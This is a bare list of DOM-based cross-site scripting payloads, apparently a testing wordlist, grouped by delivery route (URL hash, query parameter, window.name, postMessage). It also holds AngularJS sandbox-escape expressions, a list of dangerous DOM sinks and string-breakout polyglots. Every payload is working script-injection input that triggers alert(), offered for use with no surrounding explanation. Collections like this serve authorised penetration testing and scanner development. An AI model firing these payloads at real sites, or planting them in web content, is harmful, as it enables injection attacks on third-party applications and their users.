# DOM XSS Payloads
# Payloads for DOM-based cross-site scripting

# Hash-based payloads
#<img src=x onerror=alert('XSS')>
#<script>alert('XSS')</script>
#<svg onload=alert('XSS')>
javascript:alert('XSS')//

# URL parameter to DOM sink
?param=<img src=x onerror=alert('XSS')>
?param=<script>alert('XSS')</script>
?param=javascript:alert('XSS')

# Window.name payloads
<img src=x onerror=alert('XSS')>

# PostMessage payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>

# AngularJS payloads (if Angular is present)
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{x.constructor.prototype.charAt='[].join;[1]|orderBy:toString.constructor.constructor('alert(1)')();'}}

# Common DOM sinks
innerHTML=
document.write(
eval(
setTimeout(
setInterval(
location.href=
location=
document.location=

# Polyglot DOM payload
'-alert(1)-'
';alert(1);//
